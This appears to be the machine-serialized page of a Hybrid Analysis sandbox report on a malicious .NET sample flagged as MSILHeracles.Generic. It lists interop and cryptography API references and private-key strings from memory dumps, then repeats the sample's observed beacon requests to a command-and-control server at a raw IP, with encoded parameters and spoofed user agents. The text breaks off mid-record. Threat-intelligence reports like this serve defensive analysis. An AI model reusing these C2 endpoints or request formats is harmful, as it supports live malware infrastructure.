24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 55:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4c4,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious MSILHeracles.Generic Sample aa7a05956ca4… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample aa7a05956ca4…. Malware family: MSILHeracles.Generic. Threat score 100/100. 16/25 AV engines flagged this file. 16 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","keywords":["Malicious","MSILHeracles.Generic","malware analysis","sandbox report","threat intelligence","aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9"],"about":{"@type":"SoftwareApplication","name":"8B744166EECACE320158F4D0F704B13E.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"MSILHeracles.Generic","antivirusDetections":{"malicious":16,"total":25},"behavioralIndicators":{"malicious":16,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T500,Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "SizeOf" in "8B744166EECACE320158F4D0F704B13E.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetDelegateForFunctionPointer" in "8B744166EECACE320158F4D0F704B13E.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "AllocHGlobal" in "8B744166EECACE320158F4D0F704B13E.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "" in "8B744166EECACE320158F4D0F704B13E.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "FreeHGlobal" in "8B744166EECACE320158F4D0F704B13E.exe" Observed namespace "System.IO.MemoryStream" and TypeReference ".ctor" in "8B744166EECACE320158F4D0F704B13E.exe" Observed namespace "System.IO.MemoryStream" and TypeReference "ToArray" in "8B744166EECACE320158F4D0F704B13E.exe" Observed namespace "System.IO.MemoryStream" and TypeReference "get_Current" in "8B744166EECACE320158F4D0F704B13E.exe" Observed namespace "System.IO.MemoryStream" and TypeReference "MoveNext" in "8B744166EECACE320158F4D0F704B13E.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetHRForException" in "8B744166EECACE320158F4D0F704B13E.exe"26:T18fc,Found reference to "HMACSHA1" (Indicator: "HMAC"; File: "8B744166EECACE320158F4D0F704B13E.exe") Found reference to "HMACSHA1" (Indicator: "HMACSHA1"; File: "8B744166EECACE320158F4D0F704B13E.exe") Found reference to "Aes63PMqWIv79SF3HgF3" (Indicator: "Aes"; File: "8B744166EECACE320158F4D0F704B13E.exe") Found reference to "bJLJTu1Lc5vOidXU3oP9" (Indicator: "Oid"; File: "8B744166EECACE320158F4D0F704B13E.exe") Found reference to "CryptCNGInitHMAC" (Indicator: "HMAC"; Source: "00000000-00001400.00000001.139922.00690000.00000004.mdmp") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found reference to "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "RSACng"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "DSACng"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesManaged"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellman"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellmanCng"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsa"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsaCng"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384" (Indicator: "SHA384"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng" (Indicator: "SHA384"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp")27:T5e6,Found reference to API "description="Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt"" (Indicator: "CryptProtectData"; Source: "00000000-00001400.00000000.139092.00690000.00000004.mdmp") Found reference to API "iption="Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt"" (Indicator: "CryptProtectData"; Source: "00000000-00003772.00000000.132948.000C0000.00000004.mdmp") Found reference to API "Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt" (Indicator: "CryptProtectData"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to API "description="Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt"" (Indicator: "CryptProtectData"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found reference to API "description="Uses CryptProtectData" (Indicator: "CryptProtectData"; Source: "00000000-00003900.00000000.137068.00330000.00000004.mdmp"), Found reference to API "description="Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt"" (Indicator: "CryptProtectData"; Source: "00000000-00004000.00000000.133715.001C0000.00000004.mdmp 00000000-00004000.00000000.133715.01F80000.00000004.mdmp"), Found reference to API "Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt" (Indicator: "CryptProtectData"; Source: "00000000-00004000.00000000.133715.01F80000.00000004.mdmp")28:T4ba,Found string "ncrypted Private Key" (Indicator: "private key"; Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found string "http://www.w3.org/2001/04/xmlenc# EncryptedKey" (Indicator: "encryptedkey"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found string "System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" (Indicator: "encryptedkey"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found string "ncrypted Private Key" (Indicator: "private key"; Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found string "http://www.w3.org/2001/04/xmlenc# EncryptedKey" (Indicator: "encryptedkey"; Source: "00000000-00004000.00000000.133715.01F80000.00000004.mdmp") Found string "System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" (Indicator: "encryptedkey"; Source: "00000000-00004000.00000000.133715.01F80000.00000004.mdmp") Found string "ncrypted Private Key" (Indicator: "private key"; Source: "00000000-00004000.00000001.134249.001C0000.00000004.mdmp")29:T3964,Contains base64 string in header "/destenyserver/serverWindows" in header "GET /destenyserver/serverWindows.php?qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f HTTP/1.1Accept: */*Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "7387bad2ace27b916ae009433495f2b4" in header "GET /destenyserver/serverWindows.php?qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f HTTP/1.1Accept: */*Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "Type" in header "GET /destenyserver/serverWindows.php?qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f HTTP/1.1Accept: */*Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "application/jsonUser" in header "GET /destenyserver/serverWindows.php?qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f HTTP/1.1Accept: */*Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "like" in header "GET /destenyserver/serverWindows.php?qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f HTTP/1.1Accept: */*Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "3112" in header "GET /destenyserver/serverWindows.php?qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f HTTP/1.1Accept: */*Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /destenyserver/serverWindows.php?qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f HTTP/1.1Accept: */*Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "/destenyserver/serverWindows" in header "GET /destenyserver/serverWindows.php?yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU HTTP/1.1Accept: */*Content-Type: text/csvUser-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "xAqVQRf3SN3DgEtr" in header "GET /destenyserver/serverWindows.php?yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU HTTP/1.1Accept: */*Content-Type: text/csvUser-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "7387bad2ace27b916ae009433495f2b4" in header "GET /destenyserver/serverWindows.php?yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU HTTP/1.1Accept: */*Content-Type: text/csvUser-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "Type" in header "GET /destenyserver/serverWindows.php?yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU HTTP/1.1Accept: */*Content-Type: text/csvUser-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "text/csvUser" in header "GET /destenyserver/serverWindows.php?yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU HTTP/1.1Accept: */*Content-Type: text/csvUser-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "like" in header "GET /destenyserver/serverWindows.php?yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU HTTP/1.1Accept: */*Content-Type: text/csvUser-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "Host" in header "GET /destenyserver/serverWindows.php?yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU HTTP/1.1Accept: */*Content-Type: text/csvUser-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /destenyserver/serverWindows.php?yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU HTTP/1.1Accept: */*Content-Type: text/csvUser-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "/destenyserver/serverWindows" in header "GET /destenyserver/serverWindows.php?jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "UrOBgQHKMU4M" in header "GET /destenyserver/serverWindows.php?jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "7387bad2ace27b916ae009433495f2b4" in header "GET /destenyserver/serverWindows.php?jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "Type" in header "GET /destenyserver/serverWindows.php?jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "like" in header "GET /destenyserver/serverWindows.php?jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /destenyserver/serverWindows.php?jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "/destenyserver/serverWindows" in header "GET /destenyserver/serverWindows.php?nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA HTTP/1.1Accept: */*Content-Type: 